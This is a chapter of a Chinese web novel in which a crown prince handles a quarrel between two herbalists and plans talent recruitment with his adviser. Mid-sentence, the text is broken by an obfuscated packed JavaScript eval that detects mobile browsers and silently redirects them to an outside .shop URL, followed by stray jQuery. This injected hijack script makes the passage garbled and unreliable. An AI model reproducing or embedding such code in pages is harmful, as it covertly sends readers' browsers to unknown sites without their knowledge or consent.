23. 第 23 章
    就在群臣为防以后发生一时不察被灌下苦药报复的情况,纷纷翻看记忆自己有没有得罪过巫蕤的时候。

    只有计枢看着地上的人,陷入了沉思,这种似是而非的感觉让他想起曾经听过的一个人,对比了一下两人的共通性,计枢忍不住的眼角抽搐,思量片刻之后,还是决定向虞煜进行禀报。

    “殿下,我大概是认识这个人的,只是不太确定。”

    计枢此言一出,除了还躺在地上痛苦哼唧的人,其他人都为之一怔,就是虞煜本人也没想到,自己人里还有认识这个人的。

    只是这个“大概”和“不确定”又是怎么个说法,认不认识不是很直观的东西吗,为什么还有大概不确定一说。

    群臣也正在为此而窃窃私语,并奇怪计枢此前为什么没有提及自己认识这个人。

    但众人虽然满是好奇,也从计枢的措辞上看出了他对待这个事情的谨慎,并没有人急吼吼的出来询问,而是头静静的等待着太子的问询。

    “不确定也没什关系,孤只当提前了解一下,其余的人躺在这里又不会跑了,等他清醒了再做询问就好,计卿直言便是。”

    虞煜也听出了计枢所要表达的意思,无非是大抵知道这个人是谁,但没有接触过,所以才没有把话说死,所以他也选择了以闲聊的方式和计枢展开话题,让整个过程显得不是那么隆重。

    言语中透出的随意让原本因不确定有些忐忑的计枢感受到了他的好意,再一次感叹太子殿下真是一个不错的主君。

    殊不知自己如今夸了太子有多好,后面就会被压榨的有多惨,这也算提前预支的加班费了。

    虞煜听着计枢讲述着这个人可能存在的身份,越听眼睛越亮,如果计枢猜测正确的话,那岂不是可以招募一个药学世家,想想都觉得美滋滋。

    周围的群臣也是一听一个不吱声,虽然有些吃味又让新来的在太子面前抢了风头,但还是暗自期待他的猜测可以成真,一个药学世家的能力,放在以前的他们或许不屑一顾,但现在却觉得其蕴含的能量不可估量。

    不得不说巫蕤还是让他们狠狠开了眼,正视起了医药的重要性。

    看向地上之人的目光瞬间就不同了,让其在他们眼中的身份也有了改变,狂徒到奇葩,某种意义上二者也算殊途同归,但他们发誓这个奇葩绝对没有贬义的意思。

    多么深厚的家学渊源,怎么就和太子一样喜欢以身犯险呢?

    完全不知道自己又被群臣顺带着嫌弃了一波的虞煜,在听完计枢的讲述后,觉得治瘟药稳了后有些激动的在原地走了两个来回,低下头看了看地上抽搐依旧的人,有些担忧的再次询问巫蕤。

    “他现在这个样子真的不会有事吗?会不会中毒太深你的药效没达到解毒的效果?”

    “那我再给他喂一瓶。”

    接收到询问的巫蕤很干脆,掏出药来就要喂,反正他这个解毒散吃不死人,顶多就是腹泻几天。

    “那……就再喂点吧。”

    了解到过量服用解毒散并不会对其造成太大的伤害,虞煜迟疑了一下,同意了巫蕤的做法,他实在是担心中毒太深会导致出现神经损伤,毕竟两相比较,腹泻就要显得小儿科了许多。

    然而就在巫蕤得到虞煜同意之后,正打算把另一瓶解毒散也灌进地上之人的口中时,一直闭目抽搐的人,突然就睁开了眼睛,翻身而起吐了毫无准备的巫蕤一身。

    其他人都惊呆了,无比庆幸自己站得远没有被波及到,又都同情巫蕤的不幸遭遇。

    巫蕤面无表情,整个人定格在了喂药的动作之上,唯有紧紧攥起的拳头昭示着他此刻内心的怒火。

    偏偏那人还没半点眼力见,还掩着口鼻对巫蕤抱怨道。

    “我都说了你的药很难吃,黄连用得着这么加吗?影响我感受药草的纯粹性。”

    完蛋,要遭!

    虞煜看着随着抱怨声落下而双目燃起怒火的巫蕤,心里咯噔了一下。

    果见愤怒至极的巫蕤把装着解毒散的瓶子扔在一旁,从怀里掏出一颗黑漆漆的药丸就要塞进那人的嘴里。

    “纯粹的毒性吗?来来来,我给你个更纯粹的感受下。”

    “咦,断肠草的味道?”

    那人先是愣了愣,还分辨了一下快要凑到嘴里的药丸成分,然后才意识到不对开始极力挣扎着躲避。

    “你要做什么?不就是吐了你一身吗?你就给我喂断肠草毒不毒呀你!”

    “有没有人呀,要杀人啦,来个人救命呀!”

    看着两人在满是秽物的地上扭打翻滚,所到之处一片狼藉,到底是中毒方解的人因体力不支而不敌巫蕤,眼看断肠草挫成的毒丸就要塞到他的口中,虞煜急忙命令甲士将两人强行分开。

    吓唬吓唬就得了,哪能让巫蕤真把人毒死了。

    眼见被甲士强行分开的两人还要争吵,虞煜急忙开口制止。

    “你们还是先去洗一洗吧,有什么事情收拾干净了再到孤身前说。”

    说着,十分应景的向后退了几步,远离满身秽物的两人。

    “呕!我要洗澡!”

    才意识到自己在扭打过程中被巫蕤蹭了一身秽物的人率先抵不住了,哪怕秽物来自于他本身,当即叫嚷着就要洗澡。

    “给你在水里加点断肠草要不要。”

    巫蕤甩开了甲士的控制,对着其阴沉沉的说道,威胁的语气很明显,但那人不知是在装傻充愣还是真的没有意会到,反而言之凿凿的给巫蕤做科普。

    “断肠草非良药,你不会以为只有吃下去才会死人吧,用它泡澡也会中毒的。”

    眼看两人又要掰扯起来,虞煜示意甲士快带那人下去换洗,又安排裴安翊亲自去盯着,防止出现人洗着洗着就丢了的情况发生。

    至于为什么又是裴安翊,当然是因为他目前手下能用的武将只有三人,除他之下,也只有这三个人拥有大小不等的军事调动权,而今姜泽和晏俭臣外出任务未归,能在军中行事的唯有裴安翊一人,不安排他,也安排不了其他人了。

    人到用时方恨少,看来在暂时安定之后,提上议程的除了造纸术这一项,招揽人才也要安排上。

    虽然知其身处营地难以脱逃,但虞煜却认为凡事都有意外发生,他也从不会轻看这个时代的任何一个人,并认为他们的智慧不会比任何的后来者差。

    这只是一个普通的营盘,没有铜墙铁壁的加持,内松外紧,一出去就是锦州的苍茫群山。

    若有心,到处都是空子可以钻,毕竟药学家们都是杰出的野外探险者。

    所以没有个得力的心腹亲自盯着,虞煜也不太放心,生怕到手的鸭子转眼就飞没了。

    裴安翊领命带着那人下去了,失去了对手的巫蕤也忍受不了,和虞煜请罪告退后,也下去换洗了。

    虞煜也不想在满是污秽的疫所里待着,带着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938911|134765||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    群臣退到了疫所之外的空地上,直到士卒们将疫所打扫干净方才再次进入。

    此时做为疫所使用的帐篷已经完全大变样,被改造成了议事厅的样子,虞煜也不纠结此前发生的事,在临时铺垫的筵席上坐了下来。

    见虞煜坐定,其他人也不好再因此前的污秽而犹豫,也纷纷按照自己往日的位置坐定。

    这样一坐定,虞煜看着自己的班底,又想叹气了。

    文臣还好,他还有点可以撑场子的人员的,但是武将方就直接空无一人了,三个将领打天下,怎么看都是不可能达成的成就,招揽人才,扩充队伍,势在必行。

    他脑中倒是有一副原书中的人才分布图,暂且不论其中相隔二十年,只说所在的地域,就没一个是锦州的,至于已有名声却又分散于中原各地的能人,现在的他也是没有办法招揽的。

    先不说各地人才是否会投奔他这个目前空有虚名却毫无实力的太子,只说目前唯一可以抵达锦州的方式,都已经被他断绝了。

    就算安存德不眠不休的抓紧修复渡口,依照历州的人力物力测算,怎么也得大半年才能勉强完成修复工作。但渡口修好了,要过江,还得有船吧,普通的船可不行,得要是犀舟劲楫才可以横渡巨川。

    而在当下,犀舟劲楫是战船的特称,那么此刻想要抵达锦州,除了修复渡口外,还需要新建战船。

    因为虞煜可以肯定,历州现在应该是连一艘能拿得出手的战船都没有的。

    而这两样,安存德百分之百都不会去做的,起码现在不会去做,毕竟逐鹿天下是一个很费钱的事业,为了一个无足轻重的锦州去耗费那么多的人力物力,但凡会算账的人,都知道不划算。

    那么这也意味着,在未来的几年内不出意外的话,都不会有外来人才加入他的队伍,他只能将目光聚焦在锦州本土,从这里发掘本地人才然后收为己用。

    只是这锦州的人才的分布点,涉及到了他的知识盲点,书中对此没有半分提及,毕竟这里不是主角发育的主场,只是作为时代背景板的存在。

    但也不能排除这里会是后期人才的先行地图,如计枢。

    计枢!

    虞煜精神一振,茅塞顿开,他怎么能把计枢忘记了呢。

    这位未来的顶级谋士,可是在锦州生活了多年,而且一直混迹匪寨,要知道匪寨都是拥有着自己的消息来源,那么做为匪寨智囊的计枢,就很有可能知道一些锦州当地的名人雅士,这不就是现成的人才导航活地图吗?

    正好可以趁着换洗的人未至和他探讨一下锦州当地的人才资源,做一个人才储备的前景规划。

    原本看着空无一人的武将席位陷入沉思的计枢,突然感觉到一股灼热的视线落在自己的身上,抬头查看,就看到虞煜双眼灼灼的看向自己,正有些疑惑不解之时,就听到虞煜开口询问。

    “说起来计卿在锦州生活了多年,可有听过什么名人雅士的逸事趣闻呢?”

    看似漫不经心的开口,但言语中却有着极力掩藏的兴趣。

    计枢目光隐晦的扫视了一眼四周,最终定点在了空空如也的武将席位,对着虞煜露出了一个极度真诚的微笑。

    笑得虞煜脊背发凉,总觉得有什么坑在等着他跳。

    老话是怎么说的来着,不怕谋士玩心眼,就怕谋士笑的甜。

    大概就是用于描述当下的情景了吧,默默的把防诈骗意识调至最高。